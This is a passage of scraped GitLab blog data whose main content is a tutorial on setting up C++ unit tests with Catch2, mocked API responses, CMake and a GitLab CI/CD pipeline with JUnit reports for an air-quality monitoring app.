page](https://about.gitlab.com/blog/categories/agile-planning/) to keep up with our Agile planning news.",[1899,479,754,695,1444],{"slug":5385,"featured":6,"template":678},"unveiling-a-new-epic-experience-for-improved-agile-planning","content:en-us:blog:unveiling-a-new-epic-experience-for-improved-agile-planning.yml","Unveiling A New Epic Experience For Improved Agile Planning","en-us/blog/unveiling-a-new-epic-experience-for-improved-agile-planning.yml","en-us/blog/unveiling-a-new-epic-experience-for-improved-agile-planning",{"_path":5391,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5392,"content":5397,"config":5402,"_id":5404,"_type":16,"title":5405,"_source":17,"_file":5406,"_stem":5407,"_extension":20},"/en-us/blog/develop-c-unit-testing-with-catch2-junit-and-gitlab-ci",{"title":5393,"description":5394,"ogTitle":5393,"ogDescription":5394,"noIndex":6,"ogImage":1219,"ogUrl":5395,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5395,"schema":5396},"Develop C++ unit testing with Catch2, JUnit, and GitLab CI","Learn how to set up, write, and automate C++ unit tests using Catch2 with GitLab CI/CD. See examples from a working air quality app project and AI-powered help from GitLab Duo.","https://about.gitlab.com/blog/develop-c-unit-testing-with-catch2-junit-and-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Develop C++ unit testing with Catch2, JUnit, and GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2024-07-02\",\n      }",{"title":5393,"description":5394,"authors":5398,"heroImage":1219,"date":5399,"body":5400,"category":962,"tags":5401},[2700],"2024-07-02","Continuous integration (CI) and automated testing are important DevSecOps workflows for software developers to detect bugs early, improve code quality, and streamline their development processes. \n\nIn this tutorial, you'll learn how to set up unit testing on a `C++` project with [Catch2](https://github.com/catchorg/Catch2) and GitLab CI for continuous integration. You'll also see how the AI-powered features of [GitLab Duo](https://about.gitlab.com/gitlab-duo/) can help. We’ll use [an air quality monitoring application](https://gitlab.com/gitlab-da/use-cases/ai/ai-applications/air-quality-app) as our reference project.\n\n## Prerequisites\n\n- Ensure you have [CMake](https://cmake.org/ \"CMake\") installed on your machine. \n- A modern `C++` compiler such as GCC or Clang is required. \n- An API key from [OpenWeatherMap](https://openweathermap.org/api) - requires signing up for a free account (1,000/calls per day are included for free). \n\n## Set up the application for testing\n\nThe reference project we’ll be using for demonstrating testing in this blog post is an air quality monitoring application that fetches air quality data from the OpenWeatherMap API based on the U.S zip codes only provided by the user.\n\nHere are the steps to set up the application for testing:\n\n1. Fork the [the reference project](https://gitlab.com/gitlab-da/use-cases/ai/ai-applications/air-quality-app) and clone the fork to your local environment.\n\n2. Generate an API key from  [OpenWeatherMap](https://openweathermap.org/) and export it into the environment. \n\n```shell\nexport API_KEY=\"YOURAPIKEY_HERE\"\n```\n\n3. Alternatively, you can add the key into your `.env` configuration, and source it with `source ~/.env`, or use a different mechanism to populate the environment.\n\n4. Compile and build the project code with the following instructions:\n\n```cpp\ncmake -S . -B build\ncmake --build build\n```\n\n5. Run the application using the executable and passing in a U.S zip code (90210 as an example): \n\n```cpp\n./build/air_quality_app 90210\n```\n\nHere’s an example of what running the program will look like in your terminal:  \n\n```bash\n❯ ./build/air_quality_app 90210\nAir Quality Index (AQI) for Zip Code 90210: 2 (Fair)\n```\n\n## Install Catch2\n\nNow that the application is set up and working, let's start working on adding testing using Catch2. Catch2 is a modern, `C++-native` testing framework for unit tests. \n\nYou can also ask GitLab Duo Chat within your IDE for an introduction to getting started with Catch2 as a `C++` testing framework. GitLab Duo Chat will provide getting started steps as well as an example test: \n\n![GitLab Duo Chat starting steps and example test](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676997/Blog/Content%20Images/1.duo-chat-installing-catch2.png)\n\n1. First navigate to your project’s root directory and create an externals folder using the `mkdir` command.\n\n```shell\nmkdir externals\n```\n\n2. There are several ways to install Catch2 via [its CMake integration](https://github.com/catchorg/Catch2/blob/devel/docs/cmake-integration.md#top). We will use the option of installing it as a submodule and including it as part of the source code to simplify dependency management. To add Catch2 to your project in the `externals` folder: \n\n```shell\ngit submodule add https://github.com/catchorg/Catch2.git externals/Catch2\ngit submodule update --init --recursive\n```\n\n3. Update `CMakeLists.txt` to include Catch2’s directory as a subdirectory. This allows CMake to find and build Catch2 as a part of our project. \n\n```cpp\n# Assuming Catch2 in externals/Catch2\nadd_subdirectory(externals/Catch2)\n```\n\n4. Create a `tests.cpp` file in your project root to write our tests to: \n\n```shell\ntouch tests.cpp\n```\n\n5. Update `CMakeLists.txt` Link against Catch2. When defining your test executable in CMake, link it against Catch2:\n\n```cpp\n# Add tests executable and link it to Catch2\nadd_executable(tests test.cpp)\ntarget_link_libraries(tests PRIVATE Catch2::Catch2WithMain)\n```\n\n## Structure the project for testing\n\nBefore we start writing our tests, we should separate our application logic into separate files in order to maintain and test our code more efficiently. At the end of this section we should have:\n\n```\nmain.cpp containing only the main() function and application setup\nincludes/functions.cpp containing all functional code such as API calls and data processing: \nincludes/functions.h containing the declarations for the functions defined in functions.cpp.  It needs to define the preprocessor macro guards, and include all necessary headers. \n```\n\nApply the following changes to the files: \n\n1. `main.cpp`\n\n```cpp\n#include \u003Ciostream>\n#include \"functions.h\"\n\nint main(int argc, char* argv[]) {\n   if (argc \u003C 2) {\n       std::cerr \u003C\u003C \"Usage: \" \u003C\u003C argv[0] \u003C\u003C \" \u003CZip Code>\" \u003C\u003C std::endl;\n       return 1;\n   }\n\n   std::string zipCode = argv[1];\n   std::string apiKey = getApiKey();\n   if (apiKey.empty()) {\n       std::cerr \u003C\u003C \"API key not found.\" \u003C\u003C std::endl;\n       return 1;\n   }\n\n   auto [lat, lon] = geocodeZipcode(zipCode, apiKey);\n   if (lat == 0 && lon == 0) {\n       std::cerr \u003C\u003C \"Failed to geocode zipcode.\" \u003C\u003C std::endl;\n       return 1;\n   }\n\n   std::string response = fetchAirQuality(lat, lon, apiKey);\n   std::string airQualityInfo = parseAirQualityResponse(response);\n\n   std::cout \u003C\u003C \"Air Quality Index for Zip Code \" \u003C\u003C zipCode \u003C\u003C \": \" \u003C\u003C airQualityInfo \u003C\u003C std::endl;\n\n   return 0;\n}\n```\n\n2. Create a `functions.h:` in the `includes` folder: \n\n```cpp\n#ifndef FUNCTIONS_H\n#define FUNCTIONS_H\n\n#include \u003Cstring>\n#include \u003Cutility>\n#include \u003Cvector>\n\n// Declare the function prototype\nstd::string httpRequest(const std::string& url);\nbool loadEnvFile(const std::string& filename);\nstd::string getApiKey();\nstd::pair\u003Cdouble, double> geocodeZipcode(const std::string& zipCode, const std::string& apiKey);\nstd::string fetchAirQuality(double lat, double lon, const std::string& apiKey);\nstd::string parseAirQualityResponse(const std::string& response);\n\n#endif\n```\n\n3. Create a `functions.cpp` in the `includes` folder: \n\n```cpp\n#include \"functions.h\"\n#include \u003Cfstream>\n#include \u003Celnormous/HTTPRequest.hpp>\n#include \u003Cnlohmann/json.hpp>\n#include \u003Ciostream>\n#include \u003Ccstdlib> // For getenv\n\nstd::string httpRequest(const std::string& url) {\n   try {\n       http::Request request{url};\n       const auto response = request.send(\"GET\");\n       return std::string{response.body.begin(), response.body.end()};\n   } catch (const std::exception& e) {\n       std::cerr \u003C\u003C \"Request failed, error: \" \u003C\u003C e.what() \u003C\u003C std::endl;\n       return \"\";\n   }\n}\nstd::string getApiKey() {\n   const char* envApiKey = std::getenv(\"API_KEY\");\n   if (envApiKey) {\n       return std::string(envApiKey);\n   }\n   // If the environment variable is not set, fallback to the config file\n   std::ifstream configFile(\"config.txt\");\n   std::string line;\n   if (getline(configFile, line)) {\n       return line.substr(line.find('=') + 1);\n   }\n   return \"\";\n}\n\nstd::pair\u003Cdouble, double> geocodeZipcode(const std::string& zipCode, const std::string& apiKey) {\n   std::string url = \"http://api.openweathermap.org/geo/1.0/zip?zip=\" + zipCode + \",US&appid=\" + apiKey;\n   std::string response = httpRequest(url);\n   try {\n       auto json = nlohmann::json::parse(response);\n       if (json.contains(\"lat\") && json.contains(\"lon\")) {\n           double lat = json[\"lat\"];\n           double lon = json[\"lon\"];\n           return {lat, lon};\n       } else {\n           std::cerr \u003C\u003C \"Geocode response missing 'lat' or 'lon' fields: \" \u003C\u003C response \u003C\u003C std::endl;\n       }\n   } catch (const nlohmann::json::parse_error& e) {\n       std::cerr \u003C\u003C \"Failed to parse geocode response: \" \u003C\u003C e.what() \u003C\u003C \" - Response: \" \u003C\u003C response \u003C\u003C std::endl;\n   }\n   return {0, 0};\n}\n\nstd::string fetchAirQuality(double lat, double lon, const std::string& apiKey) {\n   std::string url = \"http://api.openweathermap.org/data/2.5/air_pollution?lat=\" + std::to_string(lat) + \"&lon=\" + std::to_string(lon) + \"&appid=\" + apiKey;\n   std::string response = httpRequest(url);\n   return response;\n}\n\nstd::string parseAirQualityResponse(const std::string& response) {\n   try {\n       auto json = nlohmann::json::parse(response);\n       if (json.contains(\"list\") && !json[\"list\"].empty() && json[\"list\"][0].contains(\"main\")) {\n           int aqi = json[\"list\"][0][\"main\"][\"aqi\"];\n           std::string aqiCategory;\n           switch (aqi) {\n               case 1:\n                   aqiCategory = \"Good\";\n                   break;\n               case 2:\n                   aqiCategory = \"Fair\";\n                   break;\n               case 3:\n                   aqiCategory = \"Moderate\";\n                   break;\n               case 4:\n                   aqiCategory = \"Poor\";\n                   break;\n               case 5:\n                   aqiCategory = \"Very Poor\";\n                   break;\n               default:\n                   aqiCategory = \"Unknown\";\n                   break;\n           }\n           return std::to_string(aqi) + \" (\" + aqiCategory + \")\";\n       } else {\n           return \"No AQI data available\";\n       }\n   } catch (const std::exception& e) {\n       std::cerr \u003C\u003C \"Failed to parse JSON response: \" \u003C\u003C e.what() \u003C\u003C std::endl;\n       return \"Error parsing AQI data\";\n   }\n}\n\n```\n\n4. Now that we have separated the source files, we also need to update our `CMakeLists.txt` to include `functions.cpp` in the `add_executable()` calls:\n\n```cpp\ncmake_minimum_required(VERSION 3.14)\nproject(air-quality-app)\n\n# Set the C++ standard for the project\nset(CMAKE_CXX_STANDARD 17)\nset(CMAKE_CXX_STANDARD_REQUIRED ON)\nset(CMAKE_CXX_EXTENSIONS OFF)\n\ninclude_directories(${CMAKE_SOURCE_DIR}/includes)\n\n# Define the main program executable\nadd_executable(air_quality_app main.cpp includes/functions.cpp)\n\n# Assuming Catch2 in externals/Catch2\nadd_subdirectory(externals/Catch2)\n\n# Add tests executable and link it to Catch2\nadd_executable(tests tests.cpp includes/functions.cpp)\ntarget_link_libraries(tests PRIVATE Catch2::Catch2WithMain)\n```\n\nTo verify that the changes are working, regenerate the CMake configuration and rebuild the source code with the following commands. The build will take longer now that we're compiling Catch2 files. \n\n```shell\nrm -rf build # delete existing build files\ncmake -S . -B build \ncmake --build build  \n```\n\nYou should be able to run the application without any errors.\n\n```shell\n./build/air_quality_app 90210\n```\n\n## Write tests in Catch2  \n\nCatch2 tests are made up of [macros and assertions](https://github.com/catchorg/Catch2/blob/devel/docs/assertions.md). Macros in Catch2 are used to define test cases and sections within those test cases. They help in organizing and structuring the tests. Assertions are used to verify that the code behaves as expected. If an assertion fails, the test case will fail, and Catch2 will report the failure.\n\nLet’s review a basic test scenario for an addition function to understand. Note: This test is read-only, as an example. \n\n```cpp\nint add(int a, int b) {\n   return a + b;\n}\n\nTEST_CASE(\"Addition works correctly\", \"[math]\") {\n   REQUIRE(add(1, 1) == 2);  // Test passes if 1+1 equals 2\n   REQUIRE(add(2, 2) != 5);  // Test passes if 2+2 does not equal 5\n}\n```\n\n- Each test begins with the `TEST_CASE` macro, which defines a test case container. The macro accepts two parameters: a string describing the test case and optionally a second string for tagging the test for easy filtering.\n- Tests are also composed of assertions, which are statements that check if conditions are true. Catch2 provides macros for assertion that include `REQUIRE`, which aborts the current test if the assertion fails, and `CHECK`, which logs the failure but continues with the current test.\n\n### Prepare to write tests with Catch2\n\nTo test the API retrieval functions in our air quality application, we’ll be using mock API requests. Mock API testing is a technique used to test how your application will interact with an external API without making any real API calls. Instead of sending requests to a live API server, we can simulate the responses using predefined data. Mock requests allow us to control the input data and specify exactly what the API would return for different requests, making sure that our tests aren't affected by changes in the real API responses or unexpected data. This also makes it easier for us to simulate and catch different failures.\n\nIn our `tests.cpp` file, let’s define the following function to run mock API requests.   \n\n```cpp\n#include \"includes/functions.h\"\n#include \u003Ccatch2/catch_test_macros.hpp>\n#include \u003Cstring>\n\n// Mock HTTP request function that simulates API responses\nstd::string mockHttpRequest(const std::string& url) {\n   if (url.find(\"geo\") != std::string::npos) {\n       // Mock response for geocoding\n       return R\"({\"lat\": 40.7128, \"lon\": -74.0060})\"; \n   } else if (url.find(\"air_pollution\") != std::string::npos) {\n       // Mock response for air quality\n       return R\"({\"list\": [{\"main\": {\"aqi\": 2}}]})\";\n   }\n   // Default mock response for unmatched endpoints\n   return \"{}\";\n}\n// Overriding the actual httpRequest function with the mockHttpRequest for testing\nstd::string httpRequest(const std::string& url) {\n   return mockHttpRequest(url);\n}\n```\n\n- This function simulates HTTP requests and returns predefined JSON responses based on the URL given as input. \n- It also checks the URL to determine which type of data is being requested based on the functionality of the application (geocoding, air pollution, or forecast data). If the URL doesn’t match the expected endpoint, it returns an empty JSON object. \n\nDon't compile the code just yet, as you'll see a linker error. Since we're overriding the original `httpRequest` function with our mock function for testing, we'll need a preprocessor macro to enable conditional compilation - indicating which `httpRequest` function should run when we're compiling tests. \n\n#### Define a preprocessor macro for testing  \n\nBecause we’ve overridden `httpRequest` in our `tests.cpp`, we need to exclude that code from `functions.cpp` when we’re testing. When building tests, we may need to ensure that certain parts of our code behave differently or are excluded. We can do this by defining a preprocessor macro `TESTING` which enables conditional compilation, allowing us to selectively include or exclude code when compiling the test target:  \n\nWe define the `TESTING` macro in our `CMakeLists.txt` at the end:  \n\n```cpp\n# Define TESTING macro for this target\ntarget_compile_definitions(tests PRIVATE TESTING)\n```\n\nAnd add the macro wrapper in  `functions.cpp` around the original `httpRequest` function:  \n\n```cpp\n#ifndef TESTING  // Exclude this part when TESTING is defined\nstd::string httpRequest(const std::string& url) {\n   try {\n       http::Request request{url};\n       const auto response = request.send(\"GET\");\n       return std::string{response.body.begin(), response.body.end()};\n   } catch (const std::exception& e) {\n       std::cerr \u003C\u003C \"Request failed, error: \" \u003C\u003C e.what() \u003C\u003C std::endl;\n       return \"\";\n   }\n}\n#endif\n```\n\nRegenerate the CMake configuration and rebuild the source code to verify it works.\n\n```shell\ncmake --build build  \n```\n\n### Write the first tests \n\nNow, let’s write some tests for our air quality application.\n\n#### Test 1: Verify API key retrieval \n\nThis test ensures that the `getApiKey` function retrieves the API key correctly from the environment variable or the configuration file. Add the test case to our `tests.cpp`:\n\n```cpp\n\nTEST_CASE(\"API Key Retrieval\", \"[api]\") {\n   // Set the API_KEY environment variable for testing\n   setenv(\"API_KEY\", \"test_key\", 1);\n   // Test if the key is retrieved correctly\n   REQUIRE(getApiKey() == \"test_key\");\n}\n```\n\nYou can verify that this tests passes by rebuilding the code and running the tests:\n\n```shell\ncmake --build build\n./build/tests\n```\n\n#### Test 2: Geocode the zip code\n\nThis test ensures that the `geocodeZipcode` function returns the correct latitude and longitude for a given zip code using the mock API response function we set up earlier. The  `geocodeZipcode` function is supposed to hit an API that returns geographic coordinates based on a zip code. \n\nIn `tests.cpp`, add this test case for the zip code 90210: \n\n```cpp\nTEST_CASE(\"Geocode Zip code\", \"[geocode]\") {\n   std::string apiKey = \"test_key\";\n   std::pair\u003Cdouble, double> coordinates = geocodeZipcode(\"90210\", apiKey);\n   // Check latitude\n   REQUIRE(coordinates.first == 40.7128);\n   // Check longitude \n   REQUIRE(coordinates.second == -74.0060);\n}\n```\n\nThe purpose of this test is to verify that the function `geocodeZipcode` can correctly parse the latitude and longitude from the API response. By hardcoding the expected response, we ensure that the test environment is controlled and predictable.\n\n #### Test 3: Air quality API test\n\nThis test ensures that the `fetchAirQuality` function correctly fetches air quality data using the mock API response function we set up earlier. It verifies that the function constructs the API request properly, sends it, and accurately parses the air quality index (AQI) from the mock JSON response. This validation helps ensure that the overall process of fetching and interpreting air quality data works as intended.\n\n```cpp\nTEST_CASE(\"Fetch Air Quality\", \"[airquality]\") {\n   std::string apiKey = \"test_key\";\n   double lat = 40.7128;\n   double lon = -74.0060;\n   std::string response = fetchAirQuality(lat, lon, apiKey);\n   // Check the response\n   REQUIRE(response == R\"({\"list\": [{\"main\": {\"aqi\": 2}}]})\");\n}\n```\n\n## Build and run the tests\n\nTo  build and compile our application, we'll use the same CMake commands as before:\n\n```cpp\ncmake -S . -B build\ncmake --build build\n\n```\n\nAfter building, we can run our tests by executing the test binary:  \n\n```cpp\n./build/tests\n\n```\n\nRunning this command will execute all defined tests, and you will see output indicating whether each test has passed or failed.\n\n![Output showing pass/fail of tests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676998/Blog/Content%20Images/2.running-catch2-tests.png)\n\n## Set up GitLab CI/CD\n\nTo automate the testing process each time we push some new code to our repository, let’s set up [GitLab CI/CD](https://about.gitlab.com/topics/ci-cd/). Create a new `.gitlab-ci.yml` configuration file in the root directory. \n\n```yaml\nimage: gcc:latest\n\nvariables:\n GIT_SUBMODULE_STRATEGY: recursive\n\nstages:\n - build\n - test\n\nbefore_script:\n - apt-get update && apt-get install -y cmake\n\ncompile:\n stage: build\n script:\n   - cmake -S . -B build\n   - cmake --build build\n artifacts:\n   paths:\n     - build/\n\ntest:\n stage: test\n script:\n   - ./build/tests --reporter junit -o test-results.xml\n artifacts:\n   reports:\n     junit: test-results.xml\n```\n\nThis CI/CD configuration will compile both the main application and the test suite, then run the tests, generating a JUnit XML report which GitLab uses to display the test results.  \n\n- In `before_script`, we added an installation for `cmake`, and `git submodule sync --recursive` which initializes and updates our submodules (catch2). \n- In the `test` stage, `--reporter junit -o test-results.xml` specifies that the test results should be treated as a JUnit report which allows GitLab CI to display results in the UI. This is super helpful when you have several tests in your application.  \n\nWe also need to [add an environmental variable](https://docs.gitlab.com/ee/ci/variables/#define-a-cicd-variable-in-the-ui) with the `API_KEY` in project settings on GitLab.\n\nDon’t forget to add all new files to Git, and commit and push the changes in a new MR:\n\n```shell\ngit checkout -b tests-catch2-cicd\n\ngit add includes/functions.{h,cpp} tests.cpp .gitlab-ci.yml \ngit add CMakeLists.txt main.cpp \n\ngit commit -vm “Add Catch2 tests and CI/CD configuration”\ngit push \n```\n\n## View the test report\n\nAfter pushing our code changes, we can review the results of our tests in the GitLab UI in the Pipeline view in the `Tests` tab:\n\n![GitLab pipeline view shows test results](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676998/Blog/Content%20Images/2.0-passed-tests-UI.png)\n\n## Simulate a test failure\n\nTo demonstrate how our UI will handle test failures, we can intentionally introduce a bug into our code and observe the resulting behavior. \n\nLet's modify our `parseAirQualityResponse` function to introduce an error. We can change the AQI category for an AQI value of 2 from \"Fair\" to \"Poor.\" This change will cause the related test to fail, allowing us to see the test failure in the GitLab UI.\n\nIn `functions.cpp`, find the `parseAirQualityResponse` function and modify the switch statement for case `2` to set the `Poor` value instead of `Fair`:\n\n```cpp\n               // Intentional bug:\n               case 2:\n                   aqiCategory = \"Poor\";\n                   break;\n```\n\nIn tests.cpp, add a new test case that directly checks the output of the `parseAirQualityResponse` function. This test ensures that the `parseAirQualityResponse` function correctly parses and categorizes the air quality data from the mock API response. This function takes a JSON response, extracts the AQI value, and translates it into a human-readable category.\n\n```cpp\n\nTEST_CASE(\"Parse Air Quality Response\", \"[airquality]\") {\n   std::string mockResponse = R\"({\"list\": [{\"main\": {\"aqi\": 2}}]})\";\n   std::string result = parseAirQualityResponse(mockResponse);\n   // This should fail due to the intentional bug\n   REQUIRE(result == \"2 (Fair)\");\n}\n\n```\n\nCommit the changes, and push them into the MR. Open the MR in your browser. \n\nBy introducing an intentional bug in this function, we can see how a test failure is reported in GitLab's pipelines UI. We must add, commit, and push the changes to our repository to view the test failure in the pipeline. \n\n![Simulated test failure](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676998/Blog/Content%20Images/2.1-failed-test-simulation.png)\n\n![Details of the simulated failed test](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676998/Blog/Content%20Images/2.2-failed-test-simulation-details.png)\n\nOnce we've verified this simulated test failure, we can use `git revert` to roll back that commit. \n\n```shell\ngit revert\n```\n\n## Add and test a new feature\n\nLet’s put what you've learned together by creating a new feature in the air quality application and then writing a test for that feature using Catch2. The new feature will fetch the current weather forecast for the provided zip code.\n\nFirst, we'll define a `Weather` struct and add the function prototype in our `functions.h` file (inside the `#endif`):\n\n```cpp\n\nstruct Weather {\n   std::string main;\n   std::string description;\n   double temperature;\n};\n\nWeather getCurrentWeather(const std::string& apiKey, double lat, double lon);\n```\n\nThen, we implement the `getCurrentWeather` function in `functions.cpp`. This function calls the OpenWeatherMap API to retrieve the current weather and parses the JSON response. This code was generated using [GitLab Duo](https://about.gitlab.com/gitlab-duo/). If you start typing `Weather getCurrentWeather(const std::string& apiKey, double lat, double lon) {` to complete the function, GitLab Duo will provide the function contents for you, line by line. \n\n![GitLab Duo completing the function contents](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676998/Blog/Content%20Images/3.get-current-weather-function-completion.png)\n\nHere's what your `getCurrentWeather()` function can look like: \n\n```cpp\n\nWeather getCurrentWeather(const std::string& apiKey, double lat, double lon) {\n   std::string url = \"http://api.openweathermap.org/data/2.5/weather?lat=\" + std::to_string(lat) + \"&lon=\" + std::to_string(lon) + \"&appid=\" + apiKey;\n   std::string response = httpRequest(url);\n   auto json = nlohmann::json::parse(response);\n   Weather weather;\n   if (!json.is_null()) {\n       weather.main = json[\"weather\"][0][\"main\"];\n       weather.description = json[\"weather\"][0][\"description\"];\n       weather.temperature = json[\"main\"][\"temp\"];\n   }\n   return weather;\n}\n```\n\nAnd, finally, we update our `main.cpp` file in the main function to output the current forecast (and converting Kelvin to Celsius for the output):  \n\n```cpp\n   Weather currentWeather = getCurrentWeather(apiKey, lat, lon);\n   if (currentWeather.main.empty()) {\n       std::cerr \u003C\u003C \"Failed to fetch current weather.\" \u003C\u003C std::endl;\n       return 1;\n   }\n\n   std::cout \u003C\u003C \"Current Weather: \" \u003C\u003C currentWeather.main \u003C\u003C \", \" \u003C\u003C currentWeather.description\n       \u003C\u003C \", temperature \" \u003C\u003C currentWeather.temperature - 273.15 \u003C\u003C \" °C\" \u003C\u003C std::endl;\n```\n\nWe can confirm that our new feature is working by building and running the application:  \n\n```shell\ncmake --build build\n./build/air_quality_app \n```\n\nAnd we should see the following output or similar in case the weather is different on the day the code is run :)\n\n```\nAir Quality Index for Zip Code 90210: 2 (Poor)\nCurrent Weather: Clouds, broken clouds, temperature 23.2 °C\n```\n\nWith all new functionality, there should be testing! We can also write a test to check whether the application is fetching and parsing a weather forecast correctly. This test checks that the function returns a list containing the correct number of forecast entries and that each entry has accurate data regarding time and temperature.\n\n```cpp\nTEST_CASE(\"Current Weather functionality\", \"[api]\") {\n   auto weather = getCurrentWeather(\"dummyApiKey\", 40.7128, -74.0060);\n   // Ensure main weather description is not empty\n   REQUIRE_FALSE(weather.main.empty());\n   // Validate that temperature is a reasonable value\n   REQUIRE(weather.temperature > 0); \n}\n```\n\nWe’ll also have to update our `mockHTTPRequest` function in `tests.cpp` to account for this new test. Modify the if-condition with a new else-if branch checking for the `weather` string in the URL:  \n\n```cpp\n// Mock HTTP request function that simulates API responses\nstd::string mockHttpRequest(const std::string &url)\n{\n   if (url.find(\"geo\") != std::string::npos)\n   {\n       // Mock response for geocoding\n       return R\"({\"lat\": 40.7128, \"lon\": -74.0060})\";\n   }\n   else if (url.find(\"air_pollution\") != std::string::npos)\n   {\n       // Mock response for air quality\n       return R\"({\"list\": [{\"main\": {\"aqi\": 2}}]})\";\n   }\n   else if (url.find(\"weather\") != std::string::npos)\n   {\n       // Mock response for current weather\n       return R\"({\n          \"weather\": [{\"main\": \"Clear\", \"description\": \"clear sky\"}],\n          \"main\": {\"temp\": 298.55}\n      })\";\n   }\n   return \"{}\";\n}\n```\n\nAnd verify that our tests are working by rebuilding and running our tests:  \n\n```shell\ncmake --build build \n./build/tests\n```\n\nAll tests should pass, including the new one for Current Weather Functionality. \n\n## Optimize tests.cpp with sections\n\nTo better organize our tests as the project grows and categorize each functionality, we can use Catch2’s `SECTION` macro. The `SECTION` macro allows you to define logically separate test scenarios within a single test case, providing a clean way to test different behaviors or conditions without requiring multiple separate test cases or multiple files. This approach keeps related tests bundled together and also improves test maintainability by allowing shared setup code to be executed repeatedly for each section.\n\nSince some of our functionality is preprocessing data to retrieve information, let’s section our tests as such:\n- preprocessing steps: \n\t- API key validation\n\t- geocoding validation\n-  API data retrieval:\n\t- air pollution retrieval \n\t- forecast retrieval\n\nHere’s what our `tests.cpp` will look like if organized by sections: \n\n```cpp\n#include \"functions.h\"\n#include \u003Ccatch2/catch_test_macros.hpp>\n#include \u003Cstring>\n\n// Mock HTTP request function that simulates API responses\nstd::string mockHttpRequest(const std::string &url)\n{\n   if (url.find(\"geo\") != std::string::npos)\n   {\n       // Mock response for geocoding\n       return R\"({\"lat\": 40.7128, \"lon\": -74.0060})\";\n   }\n   else if (url.find(\"air_pollution\") != std::string::npos)\n   {\n       // Mock response for air quality\n       return R\"({\"list\": [{\"main\": {\"aqi\": 2}}]})\";\n   }\n   else if (url.find(\"weather\") != std::string::npos)\n   {\n       // Mock response for current weather\n       return R\"({\n          \"weather\": [{\"main\": \"Clear\", \"description\": \"clear sky\"}],\n          \"main\": {\"temp\": 298.55}\n      })\";\n   }\n   return \"{}\";\n}\n\n// Overriding the actual httpRequest function with the mockHttpRequest for testing\nstd::string httpRequest(const std::string &url)\n{\n   return mockHttpRequest(url);\n}\n\n// Preprocessing Steps\nTEST_CASE(\"Preprocessing Steps\", \"[preprocessing]\") {\n   SECTION(\"API Key Retrieval\") {\n       // Set the API_KEY environment variable for testing\n       setenv(\"API_KEY\", \"test_key\", 1);\n       // Test if the key is retrieved correctly\n       REQUIRE_FALSE(getApiKey().empty());\n   }\n\n   SECTION(\"Geocode Functionality\") {\n       std::string apiKey = \"test_key\";\n       std::pair\u003Cdouble, double> coordinates = geocodeZipcode(\"90210\", apiKey);\n       // Check latitude\n       REQUIRE(coordinates.first == 40.7128);\n       // Check longitude \n       REQUIRE(coordinates.second == -74.0060);\n   }\n}\n\n// API Data Retrieval\nTEST_CASE(\"API Data Retrieval\", \"[data_retrieval]\") {\n   SECTION(\"Air Quality Functionality\") {\n       std::string apiKey = \"test_key\";\n       double lat = 40.7128;\n       double lon = -74.0060;\n       std::string response = fetchAirQuality(lat, lon, apiKey);\n       // Check the response\n       REQUIRE(response == R\"({\"list\": [{\"main\": {\"aqi\": 2}}]})\");\n   }\n\n   SECTION(\"Current Weather Functionality\") {\n       auto weather = getCurrentWeather(\"dummyApiKey\", 40.7128, -74.0060);\n       // Ensure main weather description is not empty\n       REQUIRE_FALSE(weather.main.empty());\n       // Validate that temperature is a reasonable value\n       REQUIRE(weather.temperature > 0);\n   }\n}\n```\n\nRebuild the code and run the tests again to verify.\n\n```shell\ncmake --build build \n./build/tests\n```\n\n## Next steps\n\nIn this post, we covered how to integrate unit testing into a `C++` project using Catch2 testing framework and GitLab CI/CD and set up basic tests for our reference air quality application project.\n\nTo explore these concepts further, you can check out the [Catch2 documentation](https://github.com/catchorg/Catch2) and [GitLab's Unit test report examples documentation](https://docs.gitlab.com/ee/ci/testing/unit_test_report_examples.html). \n\nFor an advanced async exercise, you could build upon this project by using GitLab Duo to implement a feature that retrieves and analyzes historical air quality data and add code quality checks into the CI/CD pipeline. Happy coding! \n",[696,942,1384,790,943],{"slug":5403,"featured":92,"template":678},"develop-c-unit-testing-with-catch2-junit-and-gitlab-ci","content:en-us:blog:develop-c-unit-testing-with-catch2-junit-and-gitlab-ci.yml","Develop C Unit Testing With Catch2 Junit And Gitlab Ci","en-us/blog/develop-c-unit-testing-with-catch2-junit-and-gitlab-ci.yml","en-us/blog/develop-c-unit-testing-with-catch2-junit-and-gitlab-ci",{"_path":5409,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5410,"content":5415,"config":5420,"_id":5422,"_type":16,"title":5423,"_source":17,"_file":5424,"_stem":5425,"_extension":20},"/en-us/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development",{"title":5411,"description":5412,"ogTitle":5411,"ogDescription":5412,"noIndex":6,"ogImage":903,"ogUrl":5413,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5413,"schema":5414},"Meet GitLab Duo Workflow - the future of AI-driven development","Workflow, our autonomous AI agent, will transform the way teams build and ship software – our first bold step towards AI-driven DevSecOps.","https://about.gitlab.com/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet GitLab Duo Workflow - the future of AI-driven development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2024-06-27\",\n      }",{"title":5411,"description":5412,"authors":5416,"heroImage":903,"date":5417,"body":5418,"category":791,"tags":5419},[1524],"2024-06-27","Imagine if software wrote itself. It seems like a distant future, but with ongoing advancements in large language models and GitLab’s unified AI-powered DevSecOps platform, that future is quickly coming into focus. During our [GitLab 17 launch event](https://about.gitlab.com/seventeen/), we announced GitLab Duo Workflow, an autonomous AI agent that will transform how teams build, secure, deploy, and monitor software.\n\nGitLab Duo Workflow moves beyond the current landscape of reactive, prompt-based AI assistants by creating an autonomous team member actively contributing to optimize every aspect of your software development lifecycle. Workflow distinguishes itself by leveraging GitLab’s unified data store, which seamlessly connects all relevant data, projects, repositories, and documentation. This allows 